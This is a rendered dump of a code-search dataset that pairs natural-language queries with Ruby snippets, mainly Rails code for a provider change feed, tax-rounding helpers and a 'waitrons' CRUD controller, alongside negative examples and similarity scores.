(REF_PROPERTIES.collect { |k| hash[k] } ).to_json
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attribute_matching(key, data, property=:long_name)\n data[\"address_components\"].each do |comp|\n return comp[property.to_s] if comp[\"types\"].include?(key)\n end\n return nil\n end",
"def matches(hash)\n matched = true\n hash.each do |k, v|\n if matched #only continue loop if we ... | [
"0.57142824",
"0.5629314",
"0.5611626",
"0.55286",
"0.53329045",
"0.5234036",
"0.52292985",
"0.52165896",
"0.516663",
"0.51474565",
"0.5126422",
"0.51169264",
"0.50893754",
"0.5042353",
"0.5038491",
"0.5019907",
"0.5019795",
"0.50164664",
"0.5007318",
"0.49942207",
"0.4994220... | 0.0 | -1 |
Potential edge case: It is possible for older updated_at values to written to the database after this API has been queried for changes. This would mean that these changes are missed when the client makes a subsequent request using the nextlink. Possible causes of older updated_at values: delay between c calculating datetime.UtcNow and value being written to postgres clock drift between servers | def index
per_page = params[:per_page] || 100
changed_since = params[:changed_since]
ActiveRecord::Base.transaction do
ActiveRecord::Base.connection.execute('LOCK provider, provider_enrichment, site IN SHARE UPDATE EXCLUSIVE MODE')
@providers = Provider
.opted_in
.changed_since(changed_since)
.limit(per_page)
end
last_provider = @providers.last
# When we extract the changed_at from the last provider, format it with
# sub-second timing information (micro-seconds) so that our incremental
# fetch can handle many records being updated within the same second.
#
# The strftime format '%FT%T.%6NZ' is similar to the ISO8601 standard,
# (equivalent to %FT%TZ) and adds micro-seconds (%6N).
response.headers['Link'] = if last_provider
next_link(last_provider.changed_at
.utc
.strftime('%FT%T.%6NZ'),
per_page)
else
next_link(changed_since, per_page)
end
render json: @providers
rescue ActiveRecord::StatementInvalid
render json: { status: 400, message: 'Invalid changed_since value, the format should be an ISO8601 UTC timestamp, for example: `2019-01-01T12:01:00Z`' }.to_json, status: 400
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def bump_timestamps\n self.updated_at = Time.now.utc\n end",
"def _update_timestamps\n if self.respond_to?('updated_at')\n self.updated_at = Time.now\n end\n end",
"def stamp_new_rows\n db.query(\"UPDATE #{audit} SET `_copied_at` = NOW() WHERE `_copied_at` IS NULL\")\n e... | [
"0.6958178",
"0.6688596",
"0.6507125",
"0.6305744",
"0.6303676",
"0.6295656",
"0.62797433",
"0.6242317",
"0.62390614",
"0.61342394",
"0.60979176",
"0.60838073",
"0.6075302",
"0.6061486",
"0.6053684",
"0.6047677",
"0.6046414",
"0.60088474",
"0.5958941",
"0.59494627",
"0.594929... | 0.0 | -1 |
Tax Calculations update_amounts runs set_tax to set the amount of tax for good and import and then takes those amounts and adds them to sales_tax and total through add_taxes | def update_amounts
@items = @items.each do |item|
item[:good_tax] = set_tax(item[:good], item[:total], @good_tax_rate)
item[:import_tax] = set_tax(item[:import], item[:total], @import_tax_rate)
item[:sales_tax] = add_taxes(item[:sales_tax], item[:good_tax], item[:import_tax])
item[:total] = add_taxes(item[:total], item[:good_tax], item[:import_tax])
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calculate_tax\n if self.vendor.net_prices\n # this is for the US tax system. At this point, total is still net.\n self.tax_amount = self.total * self.tax / 100.0\n # here, total becomes gross\n self.total += tax_amount\n else\n # this is for the Europe tax system. self.total is a... | [
"0.75219107",
"0.7481597",
"0.7463162",
"0.74373716",
"0.72834426",
"0.72691876",
"0.7238561",
"0.7152501",
"0.7111411",
"0.702902",
"0.69092",
"0.6894833",
"0.6893652",
"0.6818553",
"0.67776906",
"0.67574924",
"0.67159396",
"0.6703681",
"0.667353",
"0.6671289",
"0.66624945",... | 0.7704229 | 0 |
set_tax returns the item tax amount, it first checks if the tax flag (good/import) is set to true, if true it runs compute_tax which calculates the tax amount and then rounds with round_tax. if the tax flag is false, it will return 0.0 | def set_tax(status, base_total, tax_rate)
if status == true
amt = compute_tax(base_total, tax_rate)
round_tax(amt)
else
0.0
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tax_calc\n tax = @quantity * @price * @taxe\n end",
"def tax_rate\n self[:tax_rate] ||= Float(line_items.inject(0) {|sum, l| sum + l.tax_rate}) / line_items.size\n end",
"def calculate_tax\n if self.vendor.net_prices\n # this is for the US tax system. At this point, total is still net.\... | [
"0.7389761",
"0.73279786",
"0.73167825",
"0.7236028",
"0.72325003",
"0.7154606",
"0.7153158",
"0.7142564",
"0.7110051",
"0.710889",
"0.7081056",
"0.70704323",
"0.70525247",
"0.7040286",
"0.7036802",
"0.70294344",
"0.699835",
"0.69906276",
"0.69682026",
"0.6956627",
"0.69563",... | 0.78263634 | 0 |
get_tax runs compute_tax to calculate the item tax amount and the amount is rounded with round_tax | def get_tax(item_price, tax_rate)
amt = compute_tax(item_price, tax_rate)
round_tax(amt)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rounded_tax(raw_tax)\n (raw_tax * 20).ceil.round / 20.0\n end",
"def total_tax\n total_cache(:total_tax) || sum_line_items(line_items, :tax_amount)\n end",
"def calculate_tax\n if self.vendor.net_prices\n # this is for the US tax system. At this point, total is still net.\n self.ta... | [
"0.7592609",
"0.75172704",
"0.7514986",
"0.75119054",
"0.7509973",
"0.75092345",
"0.75047815",
"0.74460423",
"0.7395951",
"0.7368412",
"0.7346384",
"0.7303091",
"0.72667855",
"0.72598624",
"0.7255885",
"0.7219926",
"0.71937823",
"0.7164161",
"0.7159683",
"0.7157483",
"0.71494... | 0.7990982 | 0 |
compute_tax multiplies the item price by tax rate | def compute_tax(item_price, tax_rate)
item_price * tax_rate
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def tax_calc\n tax = @quantity * @price * @taxe\n end",
"def calcuate_tax\n @price * 0.12\n end",
"def get_tax(item_price, tax_rate)\n amt = compute_tax(item_price, tax_rate)\n round_tax(amt)\n end",
"def calculate_tax(item, price)\n tax = 0.0\n \n # if no words in the item match ... | [
"0.8364268",
"0.8154472",
"0.80621696",
"0.78653955",
"0.7804606",
"0.77278113",
"0.7644256",
"0.7632842",
"0.7622697",
"0.7622113",
"0.7616812",
"0.7593999",
"0.7588099",
"0.75638723",
"0.75392646",
"0.7501934",
"0.7499528",
"0.74412",
"0.7440201",
"0.74381196",
"0.7415917",... | 0.9262853 | 0 |
round_tax takes the amount and multiplies it by the nearest_cent and then applys a ceil, and then it is divided by the nearest cent | def round_tax(amt)
((amt * @nearest_cent).ceil / @nearest_cent)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rounded_tax(raw_tax)\n (raw_tax * 20).ceil.round / 20.0\n end",
"def round_tax(tax)\n\t\t(tax * 20.0).ceil / 20.0\n\tend",
"def apply_tax(price, tax)\n return (price * tax / BigDecimal.new(5)).ceil / BigDecimal.new(20) #rounding up to nearest 0.05\n end",
"def round_tax (t)\n r = BigDeci... | [
"0.8692615",
"0.865487",
"0.81148136",
"0.80863047",
"0.7762171",
"0.76322037",
"0.75125223",
"0.7298803",
"0.7228489",
"0.71927404",
"0.7180607",
"0.7143297",
"0.71195394",
"0.71123075",
"0.7109033",
"0.7095287",
"0.7078054",
"0.7040982",
"0.70204276",
"0.70201296",
"0.69879... | 0.91188556 | 0 |
adds good and import tax amounts and rounds the total up | def add_taxes(amt, good_tax, import_tax)
amt += good_tax + import_tax
amt.round(2)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def calculate_total_price_and_taxes\n # find the tax rate\n tax_rate_percent = 0\n\n unless is_exempt_from_regular_tax?\n tax_rate_percent += REGULAR_TAX_PERCENT\n end\n\n unless self.is_exempt_from_import_tax?\n tax_rate_percent += IMPORT_TAX_PERCENT\n end\n\n # np... | [
"0.7948623",
"0.77703595",
"0.7700038",
"0.76933867",
"0.7646496",
"0.7617058",
"0.7579269",
"0.75747555",
"0.75386685",
"0.752263",
"0.7479707",
"0.7438325",
"0.74326617",
"0.7428124",
"0.74119246",
"0.73973113",
"0.7369121",
"0.73345697",
"0.732344",
"0.731886",
"0.7317299"... | 0.8556424 | 0 |
compute total first runs capture_amounts to build a list of all the item totals and then it adds them together with generate_total | def compute_total(type)
list = capture_amounts(type)
generate_total(list)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_total_billing\n total = 0\n self.ur_invoices.each do |ur_invoice|\n total += ur_invoice.final_total\n end\n\n self.invoice_items.each do |invoice_item|\n total += invoice_item.charges\n end\n\n total\n end",
"def calculate_invoice_total\n res = [ ]\n self.line_item... | [
"0.7131711",
"0.7031116",
"0.69293267",
"0.68242663",
"0.6823567",
"0.6711616",
"0.6670518",
"0.6660595",
"0.66491336",
"0.6640184",
"0.6604905",
"0.65915924",
"0.6584964",
"0.6573938",
"0.6556183",
"0.6553254",
"0.6530528",
"0.65256804",
"0.65186566",
"0.65156955",
"0.648904... | 0.66751635 | 6 |
generate_total takes an array of totals and adds them all together and rounds it up | def generate_total(list)
list.inject(:+).round(2)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def generate_total_billing\n total = 0\n self.ur_invoices.each do |ur_invoice|\n total += ur_invoice.final_total\n end\n\n self.invoice_items.each do |invoice_item|\n total += invoice_item.charges\n end\n\n total\n end",
"def total(numbers)\n\tnumbers.inject(:+)\nend",
"def total (... | [
"0.67623496",
"0.6744609",
"0.66966563",
"0.6659644",
"0.66234297",
"0.6621076",
"0.66067153",
"0.66045177",
"0.65983534",
"0.6578784",
"0.6578784",
"0.65722346",
"0.65181524",
"0.65140086",
"0.64851415",
"0.64844173",
"0.6481181",
"0.6480073",
"0.6464687",
"0.64512676",
"0.6... | 0.78562695 | 0 |
GET /waitrons GET /waitrons.json | def index
@waitrons = Waitron.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @waiters = @course.waiters.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @waiters }\n end\n end",
"def show\n @wait = Wait.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @wait }\n end\n end",
... | [
"0.6615879",
"0.6515233",
"0.6450932",
"0.6202301",
"0.61896175",
"0.613941",
"0.61272144",
"0.6110505",
"0.58884954",
"0.5884347",
"0.5821168",
"0.5687317",
"0.56748444",
"0.5645388",
"0.56015444",
"0.5599155",
"0.5574237",
"0.5490302",
"0.5434386",
"0.5422236",
"0.54151535"... | 0.73452604 | 0 |
GET /waitrons/1 GET /waitrons/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n @waitrons = Waitron.all\n end",
"def show\n @wait = Wait.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @wait }\n end\n end",
"def set_waitron\n @waitron = Waitron.find(params[:id])\n end",
"def index\n @waiters = @course.waiters.all\n\n ... | [
"0.70941967",
"0.69162065",
"0.6549025",
"0.65135866",
"0.63397837",
"0.6284085",
"0.62572515",
"0.6210258",
"0.6062074",
"0.5920226",
"0.59003717",
"0.5866102",
"0.5857176",
"0.5809674",
"0.56972665",
"0.5694423",
"0.5677427",
"0.5634872",
"0.5519159",
"0.551466",
"0.5508030... | 0.0 | -1 |
POST /waitrons POST /waitrons.json | def create
@waitron = Waitron.new(waitron_params)
respond_to do |format|
if @waitron.save
format.html { redirect_to @waitron, notice: 'Waitron was successfully created.' }
format.json { render :show, status: :created, location: @waitron }
else
format.html { render :new }
format.json { render json: @waitron.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @wait = Wait.new(params[:wait])\n\n respond_to do |format|\n if @wait.save\n format.json { render json: @wait, status: :created, location: @wait }\n else\n format.json { render json: @wait.errors, status: :unprocessable_entity }\n end\n end\n end",
"def waitron... | [
"0.700062",
"0.64297014",
"0.6224019",
"0.60843986",
"0.59945005",
"0.59590274",
"0.58837765",
"0.58669823",
"0.58618975",
"0.5834896",
"0.5793743",
"0.5790186",
"0.55892766",
"0.5559457",
"0.5553417",
"0.5427844",
"0.535917",
"0.5313114",
"0.5292526",
"0.52887464",
"0.525145... | 0.75163937 | 0 |
PATCH/PUT /waitrons/1 PATCH/PUT /waitrons/1.json | def update
respond_to do |format|
if @waitron.update(waitron_params)
format.html { redirect_to @waitron, notice: 'Waitron was successfully updated.' }
format.json { render :show, status: :ok, location: @waitron }
else
format.html { render :edit }
format.json { render json: @waitron.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @wait = Wait.find(params[:id])\n\n respond_to do |format|\n if @wait.update_attributes(params[:wait])\n format.json { head :no_content }\n else\n format.json { render json: @wait.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n reque... | [
"0.68199027",
"0.60977453",
"0.6073373",
"0.6034117",
"0.6034117",
"0.6034117",
"0.5992126",
"0.5952505",
"0.5927608",
"0.58416426",
"0.5838705",
"0.58357346",
"0.5806033",
"0.5795403",
"0.5790166",
"0.57861024",
"0.5754429",
"0.56761944",
"0.56602263",
"0.5632753",
"0.561759... | 0.7112227 | 0 |
DELETE /waitrons/1 DELETE /waitrons/1.json | def destroy
@waitron.destroy
respond_to do |format|
format.html { redirect_to waitrons_url, notice: 'Waitron was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @wait = Wait.find(params[:id])\n @wait.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @chronicle.destroy\n respond_to do |format|\n format.html { redirect_to ch... | [
"0.7110466",
"0.66530174",
"0.6611421",
"0.6595414",
"0.6553126",
"0.65343165",
"0.64742965",
"0.6441967",
"0.64354604",
"0.6411498",
"0.63882244",
"0.6315925",
"0.6310955",
"0.6310528",
"0.62999195",
"0.6286052",
"0.627822",
"0.6274331",
"0.6266309",
"0.62652314",
"0.6255206... | 0.73043364 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_waitron
@waitron = Waitron.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_... | [
"0.61637366",
"0.60446453",
"0.59452957",
"0.591511",
"0.58885515",
"0.5834122",
"0.57761765",
"0.5702554",
"0.5702554",
"0.5652102",
"0.5619581",
"0.5423898",
"0.5409782",
"0.5409782",
"0.5409782",
"0.5394745",
"0.53780794",
"0.5356209",
"0.5338898",
"0.53381324",
"0.5328622... | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.